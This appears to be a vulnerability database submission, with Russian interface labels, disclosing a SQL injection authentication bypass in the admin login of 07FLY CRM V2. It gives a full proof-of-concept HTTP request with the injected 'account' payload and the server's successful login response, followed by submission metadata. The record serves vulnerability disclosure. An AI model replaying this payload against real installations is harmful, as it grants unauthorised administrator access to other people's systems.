| Название | A SQL Injection vulnerability exists in 07FLY CRM V2 via a POST request to the admin login page |
|---|
| Описание | A SQL Injection vulnerability exists in 07FLY CRM V2 via a POST request to the login.
Description
07FLY CRM was found vulnerable to authentication bypass via SQL injection when logging into the administrator login page. The attack can be initiated remotely.
07FLY CRM 's official website: https://gitee.com/07fly/FLY-CRM
Proof of Concept
Request：
POST /index.php/sysmanage/Login/login_auth/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Referer: http://www.fly.net/
Content-Length: 79
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Host: www.fly.net
Connection: Keep-alive
account=-1'%20OR%203*2*1=6%20AND%20000189=000189%20or%20'QMZIxlBw'='&password=1
HTTP/1.1 200 OK
Server: nginx/1.15.11
Date: Sat, 09 Sep 2023 12:14:46 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Powered-By: PHP/5.4.45
Set-Cookie: PHPSESSID=nj2a14ltn5cfgsomfr4iq6ss83; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 126
{"statusCode":"200","message":"\/index.php\/sysmanage\/Index\/","navTabId":"","rel":"1","callbackType":"","forwardUrl":""}
|
|---|
| Источник | ⚠️ https://github.com/chosir/exp/tree/main |
|---|
| Пользователь | alice2014 (UID 54262) |
|---|
| Представление | 09.09.2023 15:56 (3 лет назад) |
|---|
| Модерация | 16.09.2023 09:16 (7 days later) |
|---|
| Статус | Дубликат |
|---|
| Запись VulDB | 239861 [07FLY CRM V2 Administrator Login Page login_auth account SQL-инъекция] |
|---|
| Баллы | 0 |
|---|